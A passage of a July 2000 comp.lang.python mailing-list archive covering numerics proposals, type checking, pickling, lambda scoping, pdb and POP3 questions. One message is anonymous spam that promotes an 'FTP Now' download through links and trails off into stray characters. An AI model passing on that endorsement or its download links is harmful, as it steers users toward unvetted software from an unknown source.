summarize what you consider should go into the specifications? 

On the other hand I think a lot of this should go to the packages rather
than the operators.  The specification should be broad enough so even
special subclasses like sparse matrices, specially shaped matrices, etc, or
speed-greedy algorithms would not have to conflict with it.

My idea is to specify a collection of parameters to be guaranteed by the
numerical packages, each specifying its own values for these paramters.
What about the derivative packages?  If they are intended for serious number
crunching they should also specify their own parameters, and which packages
or algorithm they are using in implementation.

Does this somehow alleviate your concern about untrackable implementations?

On 21 Jul 2000 18:04:40 GMT, Edward Jason Riedy <ejr at lotus.CS.Berkeley.EDU>
wrote: 
> - >Quick summary:  Maybe there needs to be a numerics-sig before any 
> - >of these changes are adopted...
>So how do we get one started? 

Good question.  Any volunteers?

> - Concerning the semantics of these operators, I think we only need a 
> - general agreement, leaving out algorithmic specifications to various 
> - packages.
>
>I'm not so sure.  My experience on the periphery of the BLAST group 
>has shown that general agreement has to be backed up with some
>guaranteed, TESTABLE error bounds to be reliable.

This could be done whenever a particular implementation gets included with
the language distribution.  I don't think the language should make any
guarantee on packages not distributed with it.  When NumPy gets included, it
should come with the specs.

>You should not rely on the pure math definition because it assumes 
>exactness.
[snip]
>
>What I'd shoot for is a statement of exactly what problem is solved 
>along with a guaranteed error bound.

Agreed.  But the question is whether it goes into the specs of the operators
or the specs of the packages?  What is the definition of + in Python anyway?
It is different for numbers and lists.  Does / mean divide?  It's different
for floats and ints (not that this is a good thing).

The point is, for any serious numerical work, users should check the package
they are importing, rather than a generic description of the operators.

>And I'm not looking for the best possible error bounds, just currently 
>feasible ones.  Those are available, and any better algorithm must
>beat them to be considered better.  Also, the error bounds given in
>the LAPACK and BLAST docs have been achieved with very fast
>implementations, so it's not that much of a burden.

The problem is that there are trade-offs.  There can be better algorithms
that are considered better simply because they are faster.  Would such
packages be banned from using these operators?  Or doing things clearly
against the specs?  Where should users look for definite specs?

>However, I can see the sense in providing a common minimum environment
>that's good for many, so long as you do not restrict access to better 
>features.  The goal is not to turn everyone into numerical analysts,
>but rather to make numerical analysts as unnecessary to daily life as
>possible.  That takes guaranteed, testable error bounds.  Even though
>most users won't know what they mean, test suites can keep 
>implementors honest.

The common minimum should clearly be restricted to one package.  If a user
just import this package, he knows that he enters a care-free environment
where everything is guaranteed to be right, but often not optimal.  The
specs should still go with this package.

>And, imho, the default should always be accuracy before speed.  You
>can always compute a wrong answer very quickly.

Agreed.

> - Unlike matlab that is not object oriented, [...]
>
>It has been for the past few years.  The competition is not standing 
>still.

We'd better hurry. :-)

>Matlab's popular because people don't need to think about many of the 
>lower-level details.  Unfortunately, the lower-level details frequenty 
>come up an bite people.  (Ok, I don't have any numbers to back up 
>`frequently', and I only hear of the cases where things fail, but 
>still...)  That and the huge number of supporting packages.

I would still think that's mainly caused by matlab's monolithic nature.
Python with its clean namespace separation would greatly minimize this risk.

Here's my idea of "grand unification of numerical computation in python" :-)

There are many packages that implement various numerical routines.  They are
closely related to lapack, linpack, eispack, cephes or whatever names their
underlying fortran or C packages have.   

There are also several interface packages, which implements the interfaces
that emphasize multiarray or matrix algebra or other specific conveniences
like sparse matrices, etc.

They are designed in such a way that users can easily assemble numerical
pacakges that has given guaranteed performance with desirable interface.
The advantage of separation of implementation from interface is that it
gives much more choices to the users without increasing the load on
developers. 

There can be also one or two assembled packages for dummies-only, with the
easiest interface and most foolproof implementation.

How's that for a long term project?  :-)

Huaiyu


From srs25 at cornell.edu  Thu Jul 20 10:29:41 2000
From: srs25 at cornell.edu (Samuel Scarano)
Date: Thu, 20 Jul 2000 10:29:41 -0400
Subject: Type checking in python?
References: <Ptvc5.40687$MT.1455524@news-west.usenetserver.com> <397296BC.415C97E1@prescod.net>
Message-ID: <39770CD5.215D4C0C@cornell.edu>

First of all, are you referring to something specific by "Unicode strings"?
(I wasn't aware of any standard unicode string class but I'd be interested
if there is one.)

Anyway, interesting point, but isn't that what multiple inheritance is for?
A static (or, for that matter, dynamic) typecheck ensuring that the function
is called with a string would work fine with unicode strings as long as the
unicode string class is a subclass of the string class.

Of course, you can't inherit from a built-in type, which is one of the
uglier features of Python, so it wouldn't work in this case. But is that the
only reason not to do it? That is, when dealing only with user-defined
classes, is there ever any real reason to try to fool a function by passing
an object of the wrong class but with the right methods, rather than
declaring its class as a subclass of the class the function is expecting?

Paul Prescod wrote:
> 
> Matthew Cline wrote:
> >
> >   def my_func(foo, bar, quux):
> >      if not isinstance(quux, Quux):
> >         raise RuntimeError("param 'quux' must be of class 'Quux'")
> 
> Let me also point out that in many cases, this style of programming
> would be frowned upon by serious Python programmers. For instance, if
> you check that something is a string, your code will complain when it is
> handed a Unicode string, even though it would probably work fine. If you
> check that it is an open file, then your code probably will complain
> about stringIO file-like objects, even though it would probably work
> fine. If you check that it is an integer, your code will complain about
> integers, even though ti would probably work fine.

-- 
Samuel R. Scarano                        "Due to circumstances beyond my
undergraduate, Cornell University        control, I am master of my fate
<srs25 at cornell.edu>                      and captain of my soul."
http://people.cornell.edu/pages/srs25/             -- Ashleigh Brilliant


From gfortune at micron.net  Wed Jul 12 02:30:28 2000
From: gfortune at micron.net (Greg Fortune)
Date: Tue, 11 Jul 2000 23:30:28 -0700
Subject: Python Path Browser
Message-ID: <ikUa5.249$md2.145579@news01.micron.net>

My team is using with Qt for a project we are working on and Idle doesn't
seem to handle the Qt code very well so Nedit is a very suitable alternative
for an editor and the python shell for testing/execution.  On the other
hand, the Path Browser included with Idle is absolutely great.  I haven't
dug around it the code much, but I assume it would be fairly straightforward
to detach the Path Browser from the main Idle interface and use it as a
stand-alone.  Has anyone done this already, and if so, is it available?  If
not, has anything similar been developed?

Thanks,

Greg Fortune




From tony at lsl.co.uk  Wed Jul 12 04:36:18 2000
From: tony at lsl.co.uk (Tony J Ibbs (Tibs))
Date: Wed, 12 Jul 2000 09:36:18 +0100
Subject: POOP / Python (Object Oriented Persistence) ?
In-Reply-To: <396B975B.D821A4D3@digicool.com>
Message-ID: <003d01bfebdc$40044f60$f0c809c0@lslp7o.lsl.co.uk>

I love the Python world - grumble and it shall be (have been) solved (but
only if the problem is sufficiently difficult)...

> >
> (snip)
I wrote:
> > One of the interests of the people in Glasgow is how one
> > copes with data that may be distributed over many computers[...]

Martijn Faassen replied:
> > Zope's ZEO is going into this area[...]

and then Jim Fulton shows how cool ZODB and company really are by pointing
to a paper (http://www.zope.org/Wikis/ZEO/QuorumBasedReplication) on the
same sort of thing. Damn time machines, that's what it is (it couldn't just
be very clever people, could it?)

I'm definitely going to have to try out ZODB (after our holiday), and I'll
keep an eye out for the separate installer. Although, to be honest, I do
have a feeling that after someone has installed ZODB, there's quite a good
chance they'll also later want some of the rest of Zope to handle reports,
etc. But that's cool.

Sometimes (admittedly rarely) I wish I lived in the States, 'cos then I
could get paid to work on things like this!

Tibs
--
Tony J Ibbs (Tibs)      http://www.tibsnjoan.demon.co.uk/
Feet first with 5 wheels...
My views! Mine! Mine! (Unless Laser-Scan ask nicely to borrow them.)




From shindich at my-deja.com  Tue Jul 11 00:11:52 2000
From: shindich at my-deja.com (shindich at my-deja.com)
Date: Tue, 11 Jul 2000 04:11:52 GMT
Subject: reference counter and __del__
References: <3969CB5C.A860D124@muc.das-werk.de> <8kdsuj$k9c$1@nnrp1.deja.com>
Message-ID: <8ke6pv$qp4$1@nnrp1.deja.com>

In article <8kdsuj$k9c$1 at nnrp1.deja.com>,
  shindich at my-deja.com wrote:
> In article <3969CB5C.A860D124 at muc.das-werk.de>,
>   thiele at muc.das-werk.de wrote:
> > 1. I have the problem that not all of my objects are destroyed and I
> > don't know where and why, so I wonder if there a way to check out
from
> > where and how many references to a special object exists?
> >
> You can use sys.getrefcount ().
> Thomas Thiele posted a similar question today, you might want to look
at
> the answers to that posting too. For all we know, there could be a
> reference leak in pickle.
> > 2. When __del__ is called the object will be detroyed, correct?
> Yep. In fact, __del__ is called as the object being destroyed.
> > 3. Why is __init__ not called when I unpickle an object?
> >
> I don't know the exact answer to this question, but my guess is that
it
> doesn't need to call the constructor. I assume that pickle.loads ()
> simple creates an object and sets up the properties on that object to
be
> the same as those of the object that got serialized using
> pickle.dumps().
> But read the docs on it. I am no authority on pickle inetrnals.
<B>You can find the anser at
http://www.python.org/doc/current/lib/module-pickle.html
<i>
The following is an excerpt from that article:
When a pickled class instance is unpickled, its __init__() method is
normally not invoked. Note: This is a deviation from previous versions
of this module; the change was introduced in Python 1.5b2.
The reason for the change is that in many cases it is desirable to have
a constructor that requires arguments; it is a (minor) nuisance to have
to provide a __getinitargs__() method.

If it is desirable that the __init__() method be called on unpickling, a
class can define a method __getinitargs__(), which should return a tuple
containing the arguments to be passed to the
class constructor (__init__()). This method is called at pickle time;
the tuple it returns is incorporated in the pickle for the instance.
</i>
</B>
> > Thomas
> >
>
> Alex Shindich
> http://www.shindich.com/
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From tismer at appliedbiometrics.com  Thu Jul  6 14:29:38 2000
From: tismer at appliedbiometrics.com (Christian Tismer)
Date: Thu, 06 Jul 2000 20:29:38 +0200
Subject: Undocumented regex behaviour in re module
References: <m3itulmfi1.fsf@vole.object-craft.com.au> <012f01d65299$646f54a0$6401a8c0@home>
Message-ID: <3964D012.1796D248@appliedbiometrics.com>

Subject: 
            Re: Undocumented regex behaviour in re module
       Date: 
            Sat, 4 Jul 2020 23:56:21 -0700

Please, share your time machine with us :-)

-- 
Christian Tismer             :^)   <mailto:tismer at appliedbiometrics.com>
Applied Biometrics GmbH      :     Have a break! Take a ride on Python's
Kaunstr. 26                  :    *Starship* http://starship.python.net
14163 Berlin                 :     PGP key -> http://wwwkeys.pgp.net
PGP Fingerprint       E182 71C7 1A9D 66E9 9D15  D3CC D4D7 93E2 1FAE F6DF
     where do you want to jump today?   http://www.stackless.com



From neilh at scintilla.org  Sat Jul 29 21:27:39 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Sun, 30 Jul 2000 01:27:39 GMT
Subject: Content of the Perl6 talk
References: <16E8935DE8C35BF0.1E652ED229DA405D.479F9E5D07D36E5F@lp.airnews.net> <398126DE.6E2C2627@ajubasolutions.com> <m3k8e6q7qr.fsf@bluepeak.westend.com> <3981EDA1.1CB1CE07@ajubasolutions.com> <cpbszgevg0.fsf@cj20424-a.reston1.va.home.com>
Message-ID: <fwLg5.15678$4p3.123541@news-server.bigpond.net.au>

> A comment on the hope for a common runtime: I think this will buy you
> less than you think.  ...

   A common runtime could at least produce a common library interface.
Wrapping each API once each for Perl, Tcl, Ruby and Python is a waste of
time. Some APIs will be difficult to wrap because of callbacks or threading
issues etc., but a lot are simple and could be wrapped generically.

   Maybe Mark Hammond's enthusiasm for .NET is partly a desire to never
again have to run SWIG over Microsoft's latest API changes. With .NET, all
the languages have access to all the libraries.

   A message covering related topics just appeared on c.l.ruby so they may
want to be included too.

   Neil




From peter at schneider-kamp.de  Mon Jul 17 20:27:00 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Tue, 18 Jul 2000 00:27:00 +0000
Subject: [Patch] {l,r}just with optional pad character parameter
References: <Pine.GSO.4.10.10007180029230.5608-100000@sundial>
Message-ID: <3973A454.7AB1BF20@schneider-kamp.de>

Moshe Zadka wrote:
> 
> In the face of ambiguity, refuse the temptation to guess!!!!!
> 
> "GvR".ljust(6, "12")
> Traceback (innermost last):
>   File "<stdin>", line 1, in ?
> ValueError: second argument to ljust must be of length 1

So what exactly did you want to express with that?

I knew that it only takes strings of length 1 right now.
My questions were directed to Thomas' question
"Why not allow multiple characters as padding ?".

better-read-the-quoted-text-too-<wink>-ly y'rs
peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From grey at despair.rpglink.com  Fri Jul 28 17:06:37 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 21:06:37 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <39814767.FFEFE5D0@infercor.no> <slrn8o37v3.3ok.grey@teleute.rpglink.com> <3981DB97.E367C81E@alcyone.com> <so3qid5o0b176@corp.supernews.com> <ur98e6mer.fsf@vfa.com>
Message-ID: <slrn8o3tar.49c.grey@teleute.rpglink.com>

On 28 Jul 2000 16:16:12 -0400, mmillikan at vfa.com <mmillikan at vfa.com> wrote:
>Are you saying that data is naturally untyped and that 
>operations/functions are naturally typed (and that this typing
>of o/f's is unambiguous)?

    Mmmm, in as far as I can read that, yes.  It is the operation that
determines the type of the data, not the data in and of itself.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From sdf at sdf.com  Thu Jul 13 02:20:48 2000
From: sdf at sdf.com (sdf at sdf.com)
Date: Thursday, 13 Jul 2000 00:20:48 -0600
Subject: Download it now...
Message-ID: <13070000.2048@sdf.com>

I found a fast and powerful FTP software, it is called FTP Now...
I used it for a week already, I think it is quite good, just like Cuteftp and Ws_ftp. Also, it has a user-friendly interface and you can perform any FTP command easily.

Anyway, i think it is a very good software and it is worth to try.

Download here:
http://english.myfolder.net/Categories/Internet_and_Network/Telnet_and_FTP/Review/?sn=9707
http://www.softwareblast.com/entries/000046c4.sml



































OR1S\jX5EFCKs&2f#"=D


From aaron.ginn at motorola.com  Fri Jul  7 14:06:22 2000
From: aaron.ginn at motorola.com (Aaron Ginn)
Date: 07 Jul 2000 11:06:22 -0700
Subject: Flushing sdtout
References: <sn4s61hl9t.fsf@motorola.com>
Message-ID: <sn3dllhl29.fsf@motorola.com>

Aaron Ginn <aaron.ginn at motorola.com> writes:
 
> Unfortunately, it does not print the string in the raw_input statement
> until the user has selected from the menu.  Thus the output looks like
> this:
> 
> 1
> Enter type of DRC to run from menu --> 
> 
> I want the string printed to stdout before the user has to make a
> selection.  Is there a way to do this?


Just to clarify, I an running the python script from within a csh
wrapper so that I can direct the output to a logfile via a tee
statement.  Here is the wrapper script:

#!/bin/csh -f

if (-f ./semiDRC.log) then
    /home/ginn/bin/semiDRC $* | tee -a ./semiDRC.log
else
    /home/ginn/bin/semiDRC $* | tee ./semiDRC.log
endif


Thanks,
Aaron

-- 
Aaron J. Ginn                     Motorola SPS
Phone: (480) 814-4463             SemiCustom Solutions
Fax:   (480) 814-4058             1300 N. Alma School Rd.
mailto:aaron.ginn at motorola.com    Chandler, AZ 85226


From dalke at acm.org  Sat Jul 15 03:41:01 2000
From: dalke at acm.org (Andrew Dalke)
Date: Sat, 15 Jul 2000 01:41:01 -0600
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <396E444D.496234AC@roguewave.com> <slrn8mso2i.sj.hzhu@localhost.localdomain> <396F76F0.1B451932@sage.att.com> <slrn8mvqbe.12e.hzhu@localhost.localdomain>
Message-ID: <8kp4bo$jpt$1@slb7.atl.mindspring.net>

Huaiyu Zhu wrote:
>On Fri, 14 Jul 2000 20:24:16 GMT, Garry Hodgson <garry at sage.att.com> wrote:
>>
>>but outside of this thread, we've seen no great outcry of python
>>users bemoaning the lack of cryptic operators.  changing the language
>>for this specific domain is not a good idea.  putting in new operators
>>because they might be usefully overloaded for other specific domains
>>is little better.
>>
>
>That's the beauty of numerical computation, because all kinds of
>applications, from animation on your screen to controlling satallite in
>space to analysing molecular structures to calculating consumer preference
>could all be expressed in the language of linear algebra

Speaking as someone who has been analysing molecular structures for the
last 7 years and animating them for about 5 of those years, I can say
the lack of dot-wise elements, both in C++ and in Python, has not been
a great concern.

                    Andrew
                    dalke at acm.org





From david_ullrich at my-deja.com  Mon Jul 17 11:41:01 2000
From: david_ullrich at my-deja.com (david_ullrich at my-deja.com)
Date: Mon, 17 Jul 2000 15:41:01 GMT
Subject: Changing the class of an instance
References: <8ki9bf$2pg3$1@pc-news.cogsci.ed.ac.uk> <8knhql$lpi$1@nnrp1.deja.com> <8knl04$1c9b$1@pc-news.cogsci.ed.ac.uk> <8kq8kc$guk$1@nnrp1.deja.com> <8kt2qd$22i7$1@pc-news.cogsci.ed.ac.uk>
Message-ID: <8kv9ea$sg0$1@nnrp1.deja.com>

In article <8kt2qd$22i7$1 at pc-news.cogsci.ed.ac.uk>,
  richard at cogsci.ed.ac.uk (Richard Tobin) wrote:
> In article <8kq8kc$guk$1 at nnrp1.deja.com>,  <david_ullrich at my-deja.com>
wrote:
>
> >    So it's something like the value of infoset.__class__
> >changes when you call infoset.validate(schema)?
>
> Very like that - it's changing the class of some objects in the
> infoset, not the infoset itself.
>
> >but I really don't see the point
> >to changing the class of the object instead of just constructing
> >a new object.
>
> None, except to directly model the XML Schema specification which
> talks in terms of adding properties to info items in an existing
> infoset.

     Well asking why you wanted to directly model that would
be counterproductive... Even if you want to do that I don't
see the need to do anything underhanded to accomplish it.

     I actually did recently design a gizmo that was supposed
to add functionality to itself based on what it found in a
quasi-xml file. I started by adding attributes and methods
and things, but I just couldn't stand it - this meant that
I couldn't use tag names that conflicted with attribute names
in the base class (worse, it meant that revisions in the
base class would render some previously valid qml files
invlaid). I changed it to a system using __getitem__ and
__setitem__ (where they use a certain dictionary, and that
dictionary is what gets modified when the file is read.)
I sleep much better now that I can use _anything_ for a tag
name.

> > Like you pass a WellFormedInfoset to something
> >or call some method of one and get back an instance of a
> >subclass of ValidInfoset.
>
> Some other XML transformations (eg style-sheet application) are
> defined as infoset->infoset functions in that way, but this one isn't.
>
> Sometimes the aim of a program isn't (or isn't just) to calculate a
> result reliably, but to do it in a particular way to illustrate and
> explore an algorithm.

    Surely. But here we're talking about how to _implement_ an
algorithm, seems to me - an implementation that's easily seen
to be correct seems better than one where you can't tell what
anything means.

> -- Richard
> --
> Spam filter: to mail me from a .com/.net site, put my surname in the
headers.
>
> "The Internet is really just a series of bottlenecks joined by high
> speed networks." - Sam Wilson
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From cmfinlay at SPAMmagnet.com.au  Sun Jul  9 09:06:19 2000
From: cmfinlay at SPAMmagnet.com.au (cmfinlay at SPAMmagnet.com.au)
Date: Sun, 09 Jul 2000 23:06:19 +1000
Subject: Problem with real-accurate module num != num
Message-ID: <nndoOWltXGEw7f=5YdyL54JFUe+J@4ax.com>

I am having problems with the code below

QUOTE
from real import *
num = r(0)
num_real = r(0)
if num == num_real:
   print "ok"
else:
   print "Bad" # the code goes here.
UN QUOTE

Also

if num_real == 0

Goes to the wrong place as well.

Any help would be very much appreciated

Col. Finlay
cmfinlaySPAM at magnet.com.au


From sharkey3 at my-deja.com  Mon Jul 17 16:10:58 2000
From: sharkey3 at my-deja.com (sharkey3 at my-deja.com)
Date: Mon, 17 Jul 2000 20:10:58 GMT
Subject: newbie unimpressed...
Message-ID: <8kvp81$9q1$1@nnrp1.deja.com>

I have much experience in tcl and perl, and I have finally found a good
project to learn python with.  Unfortunately, I am very frustrated so
far with the language.  Although maybe it's just with the documentation.

I'm serious.  The documentation really sucks.
Example:  where is the % operator documented for strings?

Ok, maybe the debugger sucks worse.  I've already read the documentation
for pdb, but I must be missing something.

Here's my test.py:
#!/usr/bin/python

print 'hi'


Here's my debugging session:
$ python /usr/lib/python1.5/pdb.py test.py
> <string>(0)?()
(Pdb) l
[EOF]
(Pdb) n
> <string>(1)?()
(Pdb)
hi
--Return--
> <string>(1)?()->None
(Pdb)
$

Notice that the 'l' command does nothing.  How do I see what line I am
on?
What does "> <string>(0)?()" tell me?

(I'm using python 1.5.1 on Redhat 5.2)


Sent via Deja.com http://www.deja.com/
Before you buy.


From fig at oreilly.com  Thu Jul  6 14:05:52 2000
From: fig at oreilly.com (Stephen R. Figgins)
Date: Thu, 06 Jul 2000 18:05:52 GMT
Subject: More math on the O'Reilly Network
Message-ID: <3964CA9B.CBCD5B03@oreilly.com>

More fun for math heads can be found on the O'Reilly Network.  Eric
Hagemann's third article in the Numerically Python series covers the use
of special matrices that transform graphics.  Examples are given using
Numeric Python and Dislin, a graphic tool covered in Eric's second
article.  

I am having fun with these, but I am a closet Math head who signed and
edited these particular articles, so I am probably biased.  Anyone care
to give me some feed back on the O'Reilly Network python forum?

You can find Eric's latest at 

  http://www.oreillynet.com/python


Stephen Figgins
Editor, O'Reilly Network


From neilh at scintilla.org  Sun Jul 16 10:18:08 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Sun, 16 Jul 2000 14:18:08 GMT
Subject: Pythonwin: problem with syntax highlighting
References: <32966860B9270DBB.82F799B3E78DDCD7.9E33DCD378F53BB0@lp.airnews.net> <ikic5.3290$4p3.25691@news-server.bigpond.net.au> <EABC31C648103B42.432B9CA0A822ECC0.C4019F27CB13B3E1@lp.airnews.net>
Message-ID: <Aujc5.3397$4p3.26161@news-server.bigpond.net.au>

> >   Telling us what version number will help. Using PythonWin 132 is best
if
> >you are running Python 1.5.x.
>
> I'm using pythonwin build 132 and python 1.5.2. All the win32 stuff
> works well, I can run scripts and code my own, but no call tips
> whatsoever.

   Could this be a locale problem? Are your machines set up to
French-France? PythonWin is mostly tested in English-US.

   Just reinstalled and tried with French locale and it's still working for
me on W2K Professional.

   Try "string." which may be available even if the Win32 extensions have
gone missing.

> >   Syntax highlighting should just happen - it even looks as though Mark
has
> >dropped the option to turn off syntax highlighting.
>
> Do you mean coloring ? The source is colored alright.

   OK.

> Actually the online help is fine, I was talking about call tips,
> autocompletion and all these niceties which make life easier (and yes,
> I've uninstalled and reinstalled twice already).

   Some of the options don't work until you shut down and restart PythonWin
but I expect you've tried that.

   Neil





From alex at magenta.com  Thu Jul 27 03:26:59 2000
From: alex at magenta.com (Alex Martelli)
Date: Thu, 27 Jul 2000 09:26:59 +0200
Subject: Python is wierd!
References: <LNBBLJKPBEHFEDALKOLCOEMPGLAA.tim_one@email.msn.com> <8lk1c5$fv4$1@nnrp1.deja.com> <Pine.A32.3.90.1000725123438.17707C-100000@elvis.med.Virginia.EDU> <8llqkl$rof$1@nnrp1.deja.com> <397FC213.88603B9E@see.my.signature> <u7la8m8ir.fsf@ctwd0143.fitlinxx.com>
Message-ID: <8looe302r0@news1.newsguy.com>

"David Bolen" <db3l at fitlinxx.com> wrote in message
news:u7la8m8ir.fsf at ctwd0143.fitlinxx.com...
    [snip]
> If I'm going to package up some state (various bits of information)
> into a class (aka using one as a structure - data only), one approach
    [snip]
>     class MyInfo:
>         def __init__(self):
>             self.variable = initial_value
>             self.other_variable = initial_value
    [snip]
> I'm curious what others would think of the two approaches?

My instinct (and, again, since my Python experience is limited, it is
quite possible that my instinct is off-base!) would be to enrich the
second approach.  If I'm "just packaging data", client code will
often want to give non-default initial values to one or more fields,
so, why not make it convenient.

If I have a good grasp on what fields will be actually used, then...:

class MyInfo:
    def __init__(self, variable=None, other_variable=None):
        self.variable = variable
        self.other_variable = other_variable


If I don't really know what fields client-code will want to pack into
the structure, then...:

class MyInfo:
    def __init__(self, **fields):
        self.__dict__.update(fields)


In either case, a __getdict__ can also be a valuable adjunct
to turn name-errors into automagically-initialized fields (or, it
can be a "pitiful crutch", a lazy prop to avoid designing it right
in the first place -- depending on how keen one is towards
up-front design versus a more exploratory style:-).


Alex





From hgg9140 at seanet.com  Thu Jul  6 19:10:15 2000
From: hgg9140 at seanet.com (Harry George)
Date: 06 Jul 2000 16:10:15 -0700
Subject: pyfort
References: <8k0jg5$ics$1@ncar.ucar.edu>
Message-ID: <m3aefu7t48.fsf@wilma.george.org>

You might also try:

/usr/include/python1.5/arrayobject.h
/usr/include/python1.5/numeric/arrayobject.h


fred at niwot.scd.ucar.edu (Fred Clare) writes:

> I have just started looking at pyfort (see
> http://www-pcmdi.llnl.gov/software/cdat/index.html)
> to add Fortran extensions.  Running pyfort produces
> a C file that contains an include:
> 
> #include "Numeric/arrayobject.h"
> 
> I have implemented Numeric Python, but nowhere can
> I find the above include file in the source.  Any
> pointers would be appreciated.
> 
> -- 
> Fred Clare
> fred at ucar.edu

-- 
Harry George
hgg9140 at seanet.com


From claird at starbase.neosoft.com  Thu Jul 27 20:44:02 2000
From: claird at starbase.neosoft.com (Cameron Laird)
Date: 27 Jul 2000 19:44:02 -0500
Subject: retrieveing mail from a pop3 account
References: <8lps39+ski@eGroups.com> <ZW3g5.13990$4p3.108606@news-server.bigpond.net.au>
Message-ID: <4EDB0F5514DCC3C6.3F045DEDC3D9EB5E.147ECC858E3A04C6@lp.airnews.net>

In article <ZW3g5.13990$4p3.108606 at news-server.bigpond.net.au>,
Mark Hammond <MarkH at ActiveState.com> wrote:
			.
			.
			.
>The pop server should probably fail when asking for message 0, but there
>may be a reason why it doesnt - Ive never read the relevant RFC in detail.
>
>Mark.
>
>

It's 1939 <URL:http://sunsite.auc.dk/RFC/rfc/rfc1939.html>.

As I read it, conformant servers are required to announce
  -ERR no such message
for such out-of-bounds requests as 0.  They don't, though;
that is, the first one I examined (a very popular POPper)
gives a different message, but *does* return no content for
zero.  I know others have still other behavior.
-- 

Cameron Laird <claird at NeoSoft.com>
Business:  http://www.Phaseit.net
Personal:  http://starbase.neosoft.com/~claird/home.html


From piet at cs.uu.nl  Mon Jul  3 10:50:38 2000
From: piet at cs.uu.nl (piet at cs.uu.nl)
Date: 03 Jul 2000 16:50:38 +0200
Subject: lambda requirements
References: <000101bfe4ec$010e1c60$a5dfdfdf@ors-x-wt1.or_soft.de>
Message-ID: <ulmzjqncx.fsf@cs.uu.nl>

>>>>> "Wolfgang Thaemelt" <wolfgang.thaemelt at orsoft.de> (WT) writes:

WT> Running the script:
WT> #----------------------------------------- begin of script
WT> def SymmetricDifference(list1, list2):
WT> #      global _list1
WT> #      global _list2

WT>       _list1 = list1
WT>       _list2 = list2

WT>       _onlylist1 = filter(lambda x: x not in _list2, _list1)

WT>       return _onlylist1

WT> if __name__ == '__main__':
WT>   a = [1,2,3,4,5]
WT>   b = [3,4,5,6,7]
WT>   x = SymmetricDifference(a,b)

WT>   print x
WT> #---------------------------------------- end of script

WT> gives the error:

WT> Traceback (innermost last):
WT>   File "E:\up\000701\symmdiff.py", line 16, in ?
WT>     x = SymmetricDifference(a,b)
WT>   File "E:\up\000701\symmdiff.py", line 9, in SymmetricDifference
WT>     _onlylist1 = filter(lambda x: x not in _list2, _list1)
WT>   File "E:\up\000701\symmdiff.py", line 9, in <lambda>
WT>     _onlylist1 = filter(lambda x: x not in _list2, _list1)
WT> NameError: _list2

WT> If the comment characters "#"  are removed from the "global" statements
WT> everything works fine.

WT> Is there some requirement on a lambda violated in the script?

Python has only two scopes: the local variables of the function (which is
the lambda in this case) and the global ones of the module. (O.K. the
builtins also).
There are no intermediate scopes visible, in your case that would be the
local variables of SymmetricDifference.
The usual trick is to copy these things as additional parameters of the
lambda, where you can even use the same name.
In your case only list2 has to be copied, there is no need to copy list1.
Also the variable for the result is not needed, so this is a compacr
definition that works:

def SymmetricDifference(list1, list2):
      return filter(lambda x,_list2=list2: x not in _list2, list1)

Using list2 rather than _list2 would also work.
-- 
Piet van Oostrum <piet at cs.uu.nl>
URL: http://www.cs.uu.nl/~piet [PGP]
Private email: P.van.Oostrum at hccnet.nl


From shuz at bresnanlink.net  Tue Jul 11 20:21:28 2000
From: shuz at bresnanlink.net (Aaron Berg)
Date: Tue, 11 Jul 2000 19:21:28 -0500
Subject: Sound module question
Message-ID: <396BBA07.E844152@bresnanlink.net>

I started programming python a few months ago and I am still learning.
Does anyone know of a sound module for simple reading and writing of
sound in linux? I know there is a win32 sound module and there is one
for SGI but is there one for linux? oss or alsa... I don't know much
about this issue so it is possible i am just looking in the wrong place.
Thanks,
Aaron



From alex at magenta.com  Fri Jul 28 17:25:10 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 28 Jul 2000 23:25:10 +0200
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <39814767.FFEFE5D0@infercor.no> <8lrt2h013fp@news2.newsguy.com> <3981BE50.23DB16C5@infercor.no>
Message-ID: <8lsu2a02ho4@news2.newsguy.com>

"Paul Boddie" <paulb at infercor.no> wrote in message
news:3981BE50.23DB16C5 at infercor.no...
    [snip]
> > > whereas 1 + "foo" is meaningless to almost everyone except Perl
coders.
> >
> > No way -- it's perfectly valid in C, too, except that there it means the
> > constant-string "oo".  Really, truly, X my heart, I kid you not, check
it
> > out if you don't believe me (I wouldn't blame you for disbelieving
this!).
>
> I did do C before Python, and sometimes write the occasional C program, so
I am
> aware of this "interesting" possibility. However, I believe that the
result of
> adding 1 to "foo" is implementation dependent, as Cameron Laird pointed
out. (I

Nope -- it's perfectly defined by the C standard.  What IS implementation
defined (or even undefined, I forget) is what happens if somebody *stores*
new characters in an area defined as a string-literal (a strong "just don't
do that!" in C:-).

> don't recall the size constraints on the char type, however.)

7 bits and up, anything goes.  But everything else's size (except
for bit-fields, a peculiar oddity) is a multiple of char's size,
so the latter's size is often called a 'byte' (which need not be
the same thing as an 'octet', though it often is:-).

Not that this matter here: adding 1 to a pointer-to-X increments
the machine address that pointer indicates by sizeof(X) exactly.
sizeof(char) is 1, the unit of measure.


Alex





From piet at cs.uu.nl  Tue Jul  4 04:45:24 2000
From: piet at cs.uu.nl (piet at cs.uu.nl)
Date: 04 Jul 2000 10:45:24 +0200
Subject: Problem with redirection, buffering and chaining scripts.
References: <395c3b52.183760656@nntp.interaccess.com>
Message-ID: <u8zviqo63.fsf@cs.uu.nl>

On Windows os.popen is broken.
Get the Win32 extensions and use win32pipe.popen.
-- 
Piet van Oostrum <piet at cs.uu.nl>
